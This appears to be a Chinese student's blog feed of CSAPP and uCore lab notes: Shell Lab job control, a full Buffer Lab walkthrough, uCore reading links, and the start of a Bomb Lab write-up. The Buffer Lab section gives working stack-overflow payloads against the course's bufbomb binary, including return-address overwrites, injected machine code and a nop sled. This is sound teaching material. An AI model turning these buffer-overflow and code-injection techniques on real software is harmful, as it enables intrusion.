            printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
            deletejob(jobs, pid);
        }
// 插入下面的部分
        if (WIFSTOPPED(status)) // SIGTSTP, etc.
        {
            printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
            struct job_t *job = getjobpid(jobs, pid);
            job->state = ST;
        }

这样就通过了。Git Commit见此处，通过截图见下。

trace09/10

trace09.txt - 处理 bg 内置命令

trace10.txt - 处理 fg 内置命令

bg 和 fg 命令是由 do_bgfg 函数处理的，我们需要在 builtin_cmd 里添加合适的调用。

    if (strcmp(argv[0], "bg") == 0 || strcmp(argv[0], "fg") == 0) // judge bg & fg
    {
        do_bgfg(argv);
        return 1;
    }

bg 和 fg 命令的参数 <job> 可以是PID或者JID。在Writeup的Specification一节中，有这样一段话：

bg <job> 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在后台。

fg <job> 命令通过发送 SIGCONT 指令给工作来使它重新开始，然后让它运行在前台。

这么一来，用一个函数处理两个命令就显得很合理了。在 do_bgfg 函数中，要获取参数中的PID或者JID，解析为合适的任务类型指针，发送 SIGCONT 信号，然后根据前台和后台决定所要做的事情。

当然，首先不能忘了定义变量。end 的作用将在后面说明。

1
2
3

    char *id = argv[1], *end; // JID or PID
    struct job_t *job;
    int numid;

然后检查参数是否存在。

    // extract job or process
    if (id == NULL) // not specified
    {
        printf("%s command requires PID or %%jobid argument\n", argv[0]);
        return;
    }

对JID和PID的第一、二步处理是不尽相同的，斟酌再三还是分开处理为好。

首先是JID的情况。将 id 指针自增1，是为了让指针指向第一个数字，然后使用 strtol 功能将其从字符串转为数字。在转换的过程中，end 会被设定为指向被转换的最后一个数字的下一个字符。正常情况下，JID/PID并不应该包含除开头 % 号外的字符，所以 end 指向的应该是表示字符串结尾的 \0。具体可以参考这个链接，但他的判断条件只能保证不以字符开头，如果遇到类似于1a23的字符串，仍然不会提示异常，并返回1。虽然我这么做只是为了避免多遍历一遍字符串判断是否有其他字符，稍快一点，代码也优雅一点……

然后就是调用 getjobjid 得到job了，再加一个是否存在的判断。

    if (id[0] == '%') // this is a job
    {
        id++;                         // point to the number position
        numid = strtol(id, &end, 10); // convert id char[] to integer
        if (*end !='\0')             // contains non-digit characters
        {
            printf("%s: argument must be a PID or %%jobid\n", argv[0]);
            return;
        }
        job = getjobjid(jobs, numid); // try to get job
        if (job == NULL)
        {
            printf("%%%d: No such job\n", numid);
            return;
        }
    }

对于PID的情况，不同的地方只在于没有自增，换了适用于PID的函数，以及提示信息改变而已。

    else // this is a process
    {
        numid = strtol(id, &end, 10);
        if (*end !='\0')
        {
            printf("%s: argument must be a PID or %%jobid\n", argv[0]);
            return;
        }
        job = getjobpid(jobs, numid); // try to get proc
        if (job == NULL)
        {
            printf("(%d): No such process\n", atoi(id));
            return;
        }
    }

发送信号很简单，就一行。仍然是给全组发送。

`1`	`kill(-(job->pid), SIGCONT);`

最后是根据前台或者后台的要求，做出相应的行为，这与 eval 最后的行为比较类似，将 waitfg 封装起来也是便于这里再利用。

    if (strcmp(argv[0], "fg") == 0) // foreground
    {
        job->state = FG;
        waitfg(job->pid);
    }
    else // background
    {
        job->state = BG;
        printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
    }

把这些都填上，就实现了 bg 和 fg 内置命令的处理。Git Commit见此处，通过图如下。

trace11-16

trace11.txt - 将 SIGINT 信号发送给前台进程集里的每个进程

trace12.txt - 将 SIGTSTP 信号发送给前台进程集里的每个进程

trace13.txt - 将进程集里的每个停止的进程重启

trace14.txt - 简单的错误处理

trace15.txt - 全都混到一起

trace16.txt - 测试shell是否能够处理来自其他进程（而不是终端）的 SIGTSTP 和 SIGINT 信号

到上一节，我们所写的Shell应该也能够完美处理这些测试用例，你什么都不用做，应该就能看到正确的输出。
在Trace 11-12中，要做到 “发送给进程集中的每个进程”，重点在于 kill(-pid, signal) 中的负号。这表示对整个进程集发送。Trace 11中 SIGINT 把整个进程集干掉了，所以 ps 的输出应该没有任何一个 mysplit；而Trace 12让整个进程集停止，所以在 ps 的输出中，你应该能看到两个停止状态的 mysplit。关于 ps 的输出，可以参见这里。

在Trace 13中，mysplit 先被停止，然后被转到前台运行，直到结束。所以可以观察到第一个 ps 的输出中有两个等几秒，然后第二个 ps 的输出没有 mysplit。

如果说在前面不知道错误处理的文字怎么写，可以参考 make rtest14 的输出。

Trace 16的处理方法其实有点意思。在前面写的过程中，我们可以发现 SIGINT 和 SIGTSTP 的提示输出都放到了 sigchld_handler 中，而不是各自的handler函数中。因为如果放到各自的handler中，就不会在Trace 16的情况下被唤起（因为信号不是发给Shell的），而 sigchld_handler 却可以接收因任何原因造成的停止，恰巧可以使用 WIFSIGNALED 等函数判断停止原因，所以也能够实现分信号的处理。参考文献3的Step 6就是这方面的讲解，值得一看。

参考文献

https://zhuanlan.zhihu.com/p/89224358（只有代码，抄倒是可以抄）
https://hackmd.io/@KYWeng/SyK1Hk63S（讲得很详细，主要参考这篇；做到了高于实验标准）
https://www.jianshu.com/p/7f5e78e83a0e（分step的想法不错，而且Step 6讲得很好）
http://home.ustc.edu.cn/~liuly0322/blog/2022/03/19/csapp-shell/（结果测试方法值得学习，Trace 16讲得也明白）

参考文献可能有各自的许可证。

CSAPP 2e Buffer Lab 笔记

Mon, 25 Apr 2022 00:00:00 +0000

这个Lab训练了进行缓冲区溢出攻击的能力。这个Lab有点像Bomb Lab，但你每次运行所进入的level和你输入的数据有关，虽是渐进关系但可以单独挑战，并不是Bomb Lab闯关的形式。

使用的是32位实验文件，运行在Ubuntu 22.04 LTS系统上。实验文件因人而异，下述方法通用，但具体数值是不能通用的。

个人感觉这个Lab前四个Level比前面的Data Lab和Bomb Lab更简单，在英语水平尚可的情况下，更建议不参考他人文章，直接尝试阅读Writeup做题。如果你还没有Writeup，可以在这里下载。

前期准备

buflab-writeup.pdf包含了很多本实验的前置知识，以及每个Level的指引，请务必仔细阅读。简要挑几个说一下：

虽然是32位文件，但64位系统也可以运行。
每次运行Buffer Bomb，都要带 -u <username> 参数。这个参数会生成对应的Cookie，进而用于生成不同的答案。也可以使用makecookie程序只生成cookie。此处均以用户名为cyp0633为例。
如果（其实是一定）需要输入非标准ASCII字符，可以使用hex2raw，将十六进制ASCII码转换为对应的ASCII字符。这相当于一个答案的预处理器，将你输入的十六进制文本转换为程序能读取的raw二进制格式。

hex2raw的输入部分由两位十六进制码（不含前面的0x）和分隔符（空格或换行）组成。支持C语言风格注释 /* ... */ 格式（前后需要空格）。换行是一道题中多次输入答案的分隔符，而这个换行只由0a表示，不由文本中的换行表示。所以你会看到Level 4我敲了那么多行，但实际上只是五次中的一次输入的内容，也就是被bufbomb识别为一行，原本的那些换行符全部被忽略了。

如果希望更方便快捷地将输入导入bufbomb，可以使用Shell的IO重定向和pipe功能，如在将某关答案文件命名为exploit.txt的情况下：

bash

`1`	`unix> cat exploit.txt \| ./hex2raw \| ./bufbomb -u username`

如果需要使用GDB，可以先将ASCII转换为raw text，然后再使用pipe设置参数，自动导入GDB：

bash

unix> ./hex2raw <exploit.txt> exploit-raw.txt
unix> gdb bufbomb
(gdb) set args -u username < exploit-raw.txt
(gdb) run

更概括地说，你需要编写的答案形式是使用分隔符分隔的十六进制数组成的文本文档，也就是下面我提供的答案形式；但这样的程序是无法被bufbomb识别的，所以需要使用hex2raw将其转化成raw text。它的内容与你写出的答案只有细微差别，但或许不能被普通文本编辑器打开。使用上面提到的IO重定向功能将其输入bufbomb，就可以让程序处理你的答案了。上述提到的第一种方法，是将本段提到的几个步骤合起来执行；而第二种方法就是将步骤拆开执行，以适应GDB。

贴一张CSAPP 2e的栈帧示意图，熟记此图，会很有帮助。也不要忘了，栈向地址减小的方向增长（即栈顶地址小），而代码向高地址方向执行，字符串也向高地址方向存储（首位是地址最低的）。

请提前制备bufbomb的objdump反汇编文件。

下面使用的GDB含有 pwndbg 插件，可以提高GDB调试的效率。

参考文献:

https://billc.io/2019/05/csapp-bufferlab/

Level 0: Candle

Level 0的任务是，在调用 getbuf() 后，不返回到 test()，而进入 smoke() 函数。很显然，这是让我们修改返回地址。

asm

08049262 <getbuf>:K
 8049262: 55                    push   %ebp
 8049263: 89 e5                 mov    %esp,%ebp
 8049265: 83 ec 38              sub    $0x38,%esp
 8049268: 8d 45 d8              lea    -0x28(%ebp),%eax
 804926b: 89 04 24              mov    %eax,(%esp)
 804926e: e8 bf f9 ff ff        call   8048c32 <Gets>
 8049273: b8 01 00 00 00        mov    $0x1,%eax
 8049278: c9                    leave  
 8049279: c3                    ret

阅读 getbuf 的汇编代码，可以发现Gets中获取的字符串会被存放在ebp-0x28的位置，而我们需要修改的地方就是ebp+4处的返回地址。因为 getbuf 并不会检查栈的边界，所以我们可以直接输入长于预期的字符串，把返回地址覆盖掉。再查看 smoke 节的首地址为0x8048e0a，可以得出输入内容前 (0x28+4) 字节可以为任意不为0a（回车）的内容，然后接上0a 8e 04 08**（注意小端序）**。附上本题栈帧图。

Level 0栈帧

注意：本文中的栈帧都是倒过来的（相比其他博客和CSAPP原书）。

然而发现首地址中含有0a，会被错误转义成回车。我们可以跳过第一个语句，因为这并不影响跳转到验证的步骤，毕竟我们并不需要完整的栈帧就可以直接检验。最后答案为：

asm

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 0b 8e 04 08

最后一个答案的结尾不需要特意添加0a，hex2raw会自动在结尾添加一个。成功后提示 “Type string:Smoke !:You called smoke() VALID NICE JOB!”。

Level 1: Sparkler

这个Level和Level 0有一定相似度，目标都是阻止 getbuf 返回到 test，但这次需要跳转到 fizz，还需要将Cookie作为参数传入。

注意到advice：程序并不会真的调用 fizz，而只是运行它的代码。这意味着不会有栈帧切换，也就决定了参数的放置位置。

查看反汇编代码，发现 fizz 的首地址为0x08048daf，它就是我们需要的返回地址。像上题一样，前44个字节填入任意字符，然后45~48字节填入返回地址。但是，Cookie填到哪里呢？这需要我们看 fizz 的汇编代码。

asm

08048daf <fizz>:
 8048daf: 55                    push   %ebp
 8048db0: 89 e5                 mov    %esp,%ebp
 8048db2: 83 ec 18              sub    $0x18,%esp
 8048db5: 8b 45 08              mov    0x8(%ebp),%eax
 8048db8: 3b 05 04 d1 04 08     cmp    0x804d104,%eax

这是栈帧示意图。

Level 1栈帧

这是它的前面一部分，0x8048db5处显示，参数处于ebp+8的位置。比对writeup文档的函数原型，这就是它的唯一一个参数，也就是Cookie。刚刚填入返回地址之后，已经修改了ebp+4~~ebp+7的内容，那么ebp+8~~ebp+7可以填入任意内容，再往ebp+8处填入你的Cookie（仍然注意端序）。最终答案如下：

asm

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 af 8d 04 08
/* fizz address: 0x08048daf */
00 00 00 00
3c 3d 31 1b
/* cookie: 0x1b313d3c */

成功解除后，会提示 “Type string:Fizz !: You called fizz(0x1b313d3c) VALID NICE JOB!”。

Level 2: Firecracker

有一种更加复杂的缓冲区攻击，涉及到输入编码了机器指令的字符串。这个字符串会 用堆栈上指令的起始地址覆盖返回地址，当函数执行 ret 时，程序会开始 执行栈上的指令（会先跳转过去），而不是返回（到原本的地址）。这种形式的攻击可以让程序几乎能做任何事情。你放置在栈上的代码叫做漏洞利用代码。但是，这种攻击方式是很棘手的，因为你必须把机器码放到栈上，还得把返回地址指向代码段头部。

Writeup（经本人翻译）

不愧是Writeup，题面放第二段去了，而第一段上来就把思路和主要困难说明白了。

这道题要求我们将 bang 函数中一个名为 global_value 的变量设为cookie，然后跳转到 bang 中执行。这看起来就是个全局变量，看一眼汇编代码，很容易搞到 global_value 的地址0x804d10c，bang 的首地址是0x8048d52，如果想确认也可以用GDB打一下。

有了上面的思路，大体的就明白了：将return address替换为输入的字符串中指令的开始地址，然后让其将Cookie MOV到global_value的地址中，再然后跳转到bang的首地址中。但是，writeup最后还给了我们一些提示：

可以先写汇编，用GCC编译，然后再反汇编，来得到指令对应的机器码。
字符串与机器、编译器，以及Cookie相关。可能在提醒我们64位机器编译时要加 -m32。
注意汇编的寻址模式。主要是立即数（带 $）和地址的区别。
最重要的，不要使用 jmp 或 call 这两种程序计数器相关的指令进入 bang，应该将 bang 首地址入栈，然后使用 ret。

附上栈帧结构：

Level 2栈帧

有了这些，我们就可以开始写汇编代码了，很简单的三行（注意扩展名. s）：

asm

// firecracker.s
movl $0x1b313d3c, 0x804d10c // write cookie into global_value
pushl $0x8048d52 // push bang into stack
ret // enter bang

然后使用命令

bash

1
2

unix> gcc -m32 -c firecracker.s
unix> objdump -d firecracker.o > firecracker_disasm.txt

就可以得到指令的十六进制表示了。

接下来需要得到指令的起始地址，如果直接将指令放进漏洞利用字符串的开头的话，那它就是字符串的首地址。分析 getbuf 的反汇编代码得，它位于ebp-0x28，那么直接在内部任一点打一个断点，然后打出ebp即可计算出起始地址0x55683cc8。

我们需要的字符串仍然是和前两个Level有些相似的，都是45-48字节放置返回地址，但前几个字节需要放置指令了。最终的字符串如下所示：

asm

c7 05 0c d1 04 08 3c /* movl $0x1b313d3c,0x804d10c */
3d 31 1b
68 52 8d 04 08 /* push $0x8048d52 */
c3 /* ret */
/* end of assembly, 16 bytes in total */
00 00 00 00 00 00 00
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 /* 7*4=28 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

当然，这样就通过了。

Level 3: Dynamite

我们之前的攻击都让程序跳转到其他函数的代码，然后程序就会退出。所以，我们可以使用会破坏栈结构的漏洞利用代码，从而覆盖保存的数值。

最复杂的缓冲区溢出攻击让程序执行一些改变寄存器 / 内存内容的代码，但程序会 返回到本来的调用者函数。调用者对攻击一无所知。但这种攻击也很复杂，因为你需要：1）把机器码放到栈上，2）把返回地址设置到这段代码开头，3）恢复被破坏的栈结构。

Writeup（经本人翻译）

这个Level比上个Level难一些，但如果GDB用得比较好，可以通过调试来窥探题目的奥秘。题目的任务就是把返回值修改为Cookie，但还要让 getbuf 正常返回到 test。成功后会输出一个Boom。

其实程序的部分跟Level 2没有太大的区别，将Cookie写入eax（存放返回值）、将 test 返回地址入栈，然后返回。返回地址可以翻汇编代码，就是调用语句的下一句。汇编代码如下：

asm

1
2
3

movl $0x1b313d3c, %eax # set cookie as return value
push $0x08048e50 # original test return address
ret # return to test

我们可以先不恢复栈结构，直接跳回去，看看会发生什么。依照上题的方法，得出输入文件：

asm

b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 /* 11*3=33 random bytes */
c8 3c 68 55 /* return address 0x55683cc8 */

将其通过hex2raw转换，然后输入bufbomb。既然知道会崩掉，那就在0x8048e50打个断点，运行一下。

发现ebp变成了0，esp的值也不怎么对劲。查阅栈帧结构图，发现旧ebp会在getbuf中被压栈到新的ebp处，它在我们输入的数据中对应的是41~44字节。本题的重点就在于恢复旧ebp。

Level 3栈帧

使用GDB在getbuf中打断点停止，然后执行 x/wx $ebp，可以读取到它的值0x55683d20。

依此修改输入文件：

asm

b8 3c 3d 31 1b /* mov $0x1b313d3c, %eax */
68 50 8e 04 08 /* push $0x8048e50 */
c3 /* ret */
/* end of assembly, 11 bytes in total */
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 /* 11*3-4=29 random bytes */
20 3d 68 55 /* old ebp 0x55683d20 */
c8 3c 68 55 /* return address 0x55683cc8 */

不出意外地通过了。

你可能有这样的疑问：答案能不能再长些？很容易能想到，如果输入覆盖的范围超过了返回地址，就可能会侵入上一个栈帧的空间而破坏其内容，所以答案可不可以再长些，取决于上一个栈帧的结构能不能被破坏。对于前三个Level，这种行为理论上是可以接受的；而对于Level 3&4，上一栈帧的结构需要完整保持，所以答案不能再长了。

Level 4: Nitroglycerin

前面几个level差不多就是热身水平，到了这里才是对栈帧结构和程序调试技术的一个综合考察。本level需要使用 -n 参数运行bufbomb。

每一次运行，尤其是由不同的用户运行，某个过程使用的确切栈空间会有所不同。一个原因是，每次运行时，所有环境变量的值都会被放在栈的底部。环境变量以字符串的形式存储，占用的空间根据值的不同而不同。所以，对某个用户来说，分配的栈空间由用户设置的环境变量有关。在使用GDB运行程序时，栈的位置也会不同，因为GDB使用栈空间来存储它的一些状态。

在调用 getbuf 的代码中，我们使用了一些稳定栈位置的特性，所以每次运行的时候 getbuf 的栈帧都不会变。这样你就可以在已知 buf 的起始地址的情况下，写出漏洞利用字符串。如果你在一个普通程序中尝试使用这种方法，你会发现它有时候管用，有时候又会引发段错误。所以我们起了 “火药”（dynamite，Level 3代号）这个名字——一种诺贝尔研制的炸药，含有稳定元素，以防意外爆炸。

这次我们反着来，让栈的位置比原先还要不稳定。所以它有了 “硝酸甘油” 这个名字——一种十分不稳定的炸药。

Writeup（经本人翻译）

这个Level的核心目标和Level 3差不多，都是把返回值设为Cookie。只不过，这次要调用5次 getbufn，相应的把答案也重复5次，缓冲区长度变成了512字节（虽然我们肯定要输得比这个长，毕竟要改变 “不该改变的” 区域），而 getbufn 的栈地址变动可能高达240字节。每次都必须稳定地返回Cookie到 testn 函数。

考虑到跳转地址是固定的，而栈的位置变动却很大，如果每次根据固定的地址跳跃，如果没有正好跳转到我们注入的代码开头，就可能造成不可预料的结果。所以如何保证在落点的相对位置变动很大的情况下，最后还是能稳定地执行注入代码，就成为了本题最重要的部分。

提示：

在hex2raw后面加 -n 参数可以将答案复制n份输出。即使不用，5份答案也必须相同。
善用 nop 指令能够帮助解题。可以阅读CSAPP 2e P262（中文版P180中部）的 “nop sled” 部分。

所谓的nop sled，简单来说，就是通过在代码中添加一大堆 nop 指令，不管绝对地址跳到哪个位置，也不会执行什么奇怪的操作，而是最终都要一个一个执行 nop，直到真正的漏洞利用代码的位置。

整体结构

有了这个认识，我们就能基本推断出输入字符串的结构：对应原返回地址处是新返回地址，它紧接着真正有用的注入代码之后，前面剩下的空间，就全都用 nop 填充。随手画一张图，展示注入过代码的 getbufn 每次执行时跳转的过程，或许能帮助你明白：

图中不同位置的条代表每次执行位置不同的 getbufn，ret 指令从每次不同的逻辑地址取出返回地址，但每次都跳转到固定的跳转地址。如果这个区域内都是 nop，那么跳转之后就相当于 “落下来”，在运行注入代码之前什么都没干。

接下来将会根据输入字符串的结构，分别解释得出的方法。

核心代码

首先我们要解决的是恢复 testn 的栈结构，也就是原ebp。看一眼 testn 的汇编代码。

asm

08048cce <testn>:
 8048cce: 55                    push   %ebp
 8048ccf: 89 e5                 mov    %esp,%ebp
 8048cd1: 53                    push   %ebx
 8048cd2: 83 ec 24              sub    $0x24,%esp

因为中间将ebx暂存，esp又减了4，所以原ebp在esp+0x28处。我们使用一个 lea 指令将其恢复。

asm

`1`	`leal 0x28(%esp), %ebp # restore ebp register`

然后是本题的核心目标，让 getbufn 返回Cookie，就是把eax设为Cookie。这个和之前没什么区别。

asm

`1`	`movl $0x1b313d3c, %eax # set cookie as return value`

最后就是将返回地址入栈，然后返回，跟Level 3同理。

asm

1
2

push $0x8048ce2 # original testn return address
ret

完整的汇编代码就不放了，反正也没几句。这些语句的顺序并不是自由的，此处将 movl 句放到 leal 之前，就会导致指令读取错误（将几个nop + 一个leal读取成一个addb和一个xorl），进而引发段错误，目前不知道是什么原理。如果有读者知道是什么原因，烦请赐教。

返回地址

因为栈的位置有很大的随机性，而输入内容的 nop 部分是有边界的，所以我们需要确定一个大概的跳转地址边界，确保每次都能够跳入 nop 范围。我们可以多次使用gdb调试i，在 getbufn 处打断点并运行，每次取ebp的值并统计最大值，借此得到 buf 数组起始地址大概最大值，也就是跳转地址的大概最大值；由ebp的值又可以取到最小值，估计出 nop 区域结束地址的大概最小值，也就是跳转地址的大概最小值。反正缓冲区500多个字节，栈位置的变动最多才240字节，随便在中间选个值就好。

可以结合上面的图来理解：跳转地址的范围是第二个栈帧 nop 上界和第三个栈帧exploit上界之间的范围。

asm

08049244 <getbufn>:
 8049244: 55                    push   %ebp
 8049245: 89 e5                 mov    %esp,%ebp
 8049247: 81 ec 18 02 00 00     sub    $0x218,%esp
 804924d: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 8049253: 89 04 24              mov    %eax,(%esp)
 8049256: e8 d7 f9 ff ff        call   8048c32 <Gets>
 804925b: b8 01 00 00 00        mov    $0x1,%eax
 8049260: c9                    leave  
 8049261: c3                    ret

根据上述 getbufn 的反汇编代码，buf 数组的起始地址是ebp-0x208，也就是nop区域的上界。

随意调试运行，得到几个ebp的值为0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0、0x55683cf0、0x55683d50、0x55683cd0、0x55683d00、0x55683ce0，其中最小值为0x55683cd0，最大值为0x55683d50。推算出跳转地址最小值大约是0x55683b48，保守起见将返回地址 + 20，设为0x55683b5c。

Nop Sled

nop 部分 + 核心代码部分需要将返回地址部分 “撑” 到ebp+4开始（含）4个字节处，则这两部分加起来的长度为0x208+8=528字节。前面核心代码的二进制表示占据了15字节，所以需要填充509字节 nop（也就是90）。

把这三块连起来，输入的文本数据就很容易得到了（此处建议关闭折行显示，更美观）：

asm

/* nop area, 509 bytes in total */
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
/* core assembly area, 15 bytes in total */
8d 6c 24 28 /* lea 0x28(%esp),%ebp */
b8 3c 3d 31 1b /* mov $0x1b313d3c,%eax */
68 e2 8c 04 08 /* push $0x8048ce2 */
c3 /* ret */
/* return address 0x55683b5c, 4 bytes in total */
5c 3b 68 55

其他值得注意的事情

上面所说的都是每一次调用 getbufn 所输入的内容，而一共要输入五次，可以使用 hex2raw 的 -n 参数指定输出答案的重复次数。hex2raw 会在每次重复的答案最后自动添加换行分隔符0a。

好在经过这一番折腾，Lab 4终于也完成了。

THU uCore Lab 0 / 1 快速上手

Sun, 17 Apr 2022 00:00:00 +0000

此系列并不是完整的实验指南，也不能替代实验指导书，而是意图是用我的经验，挑选一部分较好的文章，为时间不太充裕的读者节省一部分查找资料的时间。
简而言之，a collection for jump start.

系统环境

你需要一个64位的Linux，但不建议使用WSL，Make容易出现玄学错误。可以在清华镜像站下载Ubuntu，下载后还可以换清华源。

系统安装后还需要添加 32 位支持、安装GCC Multilib、QEMU。

uCore代码在 https://github.com/chyyuu/os_kernel_lab，Git Clone下来之后使用 git checkout master 切换分支，否则是rCore源代码。

如果make qemu提示没有找到gnome-terminal，可以（1）安装gnome-terminal或（2）将makefile中的gnome-terminal改成你的终端名称。

知识基础

请不要忘了官方文档“练习” 之外的内容，也很有用。

练习1

什么是Makefile：https://seisman.github.io/how-to-write-makefile/introduction.html

查找命令和参数的用法：在Shell中运行 man，或者更容易查找的 Ubuntu Manpage 网站

什么是主引导记录 / MBR/0x55aa是干什么的：https://daemon369.github.io/linux/2013/08/03/master-boot-record

GCC文档：https://gcc.gnu.org/onlinedocs/gcc-11.2.0/gcc/

练习2

GDB远程调试：https://www.cnblogs.com/blogs-of-lxl/p/10462262.html 或使用vscode（没错，万能的vscode）：https://blog.xhyeax.com/2020/10/15/vscode-debug-ucore/

练习3

A20总线：https://wiki.osdev.org/A20_Line

GDT：https://wiki.osdev.org/Global_Descriptor_Table

练习4

这部分可以查看官方文档的 “ELF文件格式概述” 和“硬盘访问概述”部分。

练习5

看代码注释。

练习6

中断向量表：https://wiki.osdev.org/Interrupt_Descriptor_Table

编程部分看代码注释。

Challenge

暂不包含，如果时间不充裕，不建议尝试Challenge。

实验报告

https://kiprey.github.io/2020/08/uCore-1/

https://xr1s.me/2018/05/15/ucore-lab1-report

https://www.jianshu.com/p/2f95d38afa1d

https://niebelungen-d.github.io/posts/ucore-lab-1/

CSAPP 2e Bomb Lab 笔记

Wed, 06 Apr 2022 00:00:00 +0000

这个Lab训练的是分析汇编代码和使用GDB调试的能力。题目是一个二进制文件 bomb，和只包含 main 函数的 bomb.c，使用者需要借助工具，在六个Phase中分别输入对应的文本，来解除 “炸弹”。一旦输入错误，就会 “引爆炸弹”。

每个人生成的bomb内容可能不尽相同，但思路相似，这里只以我做到的版本为例。

实验文件 （是32位）：https://git.cyp0633.com/cyp0633/CSAPP-labs/src/branch/master/LAB3-bomblab

环境：Ubuntu 22.04, GDB 12.0.90

参考资料：

https://earthaa.github.io/2020/01/12/CSAPP-Bomblab/ 非常详细的解析，但是是64位，无Secret Phase。
https://www.viseator.com/2017/06/21/CS_APP_BombLab/ 第6题解析写得很好，也是64位的。

前期准备

最基础的一点是，你需要对汇编语言有一定的了解，起码能够大概熟悉CSAPP前三章的内容。

正如上文所说，最好先熟悉一下GDB的使用，边写边查也不是不行，但很容易拖慢速度。可以看看 https://www.cnblogs.com/acceptedzhs/p/13161213.html，或者 参考资料1中的gdb命令速查，非常有用。 可以在GDB中执行 layout asm 来打开下面的视图，事半功倍：

此外，还需要准备一份反汇编代码，objdump -d bomb > bomb.s 就可以将bomb反汇编，并将代码保存到bomb.s中。也可以在GDB中进行反汇编。当然，1800行的汇编代码应该不会有人去完全研究，所以只能结合调试来做。

你还需要一个能够计算十六进制的计算器。如果你使用Windows，可以使用自带计算器；在Linux下，可以使用Python。

除此之外，如果你有二进制文件分析的经验，你也可以直接使用 angr 等工具直接找到答案，达成速通。

Phase 1

查看 bomb.c 得到Phase 1相关的C代码。

    input = read_line();             /* Get input                   */
    phase_1(input);                  /* Run the phase               */
    phase_defused();                 /* Drat!  They figured it out!
          * Let me know how they did it. */
    printf("Phase 1 defused. How about the next one?\n");

可以看出，程序先使用 read_line() 函数读取输入，并让input变量指向它。然后将其传给 phase_1。此时 char 指针应该存储在 4(%esp) 中。然后查看 phase_1 的反汇编代码。包括 read_line 之类的函数并不需要详细了解，因为我们可以很容易看出来它干了什么。

asm

08048b90 <phase_1>:
 8048b90: 83 ec 1c              sub    $0x1c,%esp
 8048b93: c7 44 24 04 0c a2 04  movl   $0x804a20c,0x4(%esp)
 8048b9a: 08 
 8048b9b: 8b 44 24 20           mov    0x20(%esp),%eax
 8048b9f: 89 04 24              mov    %eax,(%esp)
 8048ba2: e8 43 05 00 00        call   80490ea <strings_not_equal>
 8048ba7: 85 c0                 test   %eax,%eax
 8048ba9: 74 05                 je     8048bb0 <phase_1+0x20>
 8048bab: e8 45 06 00 00        call   80491f5 <explode_bomb>
 8048bb0: 83 c4 1c              add    $0x1c,%esp
 8048bb3: c3                    ret

程序看起来像是构建了 strings_not_equal 的两个参数，test 指令用于判断返回的值是否为0（参见 Stack Overflow），如果为0代表不相等，就跳转到 explode_bomb。

我们可以直接从两个参数入手，一个是我们输入的内容，另一个 0x804a20c 自然就指向了我们想要的字符串。进入gdb，打断点，使用 x/s 0x804a20c 读取那个位置的字符串，然后输入 c 继续运行，将其输入即可。解出Phase 1答案是 “You can Russia from land here in Alaska.”。

建议将断点打到 read_line 上，如果打到 phase_1 上，便无法在读到答案之后输入文字，可能要炸一次炸弹。

Phase 2

关键词：循环

main函数中关于Phase 2的部分和Phase 1差不多，那么我们直接来看反汇编。

asm

08048bb4 <phase_2>:
 8048bb4: 56                    push   %esi
 8048bb5: 53                    push   %ebx
 8048bb6: 83 ec 34              sub    $0x34,%esp
 8048bb9: 8d 44 24 18           lea    0x18(%esp),%eax
 8048bbd: 89 44 24 04           mov    %eax,0x4(%esp)
 8048bc1: 8b 44 24 40           mov    0x40(%esp),%eax
 8048bc5: 89 04 24              mov    %eax,(%esp)
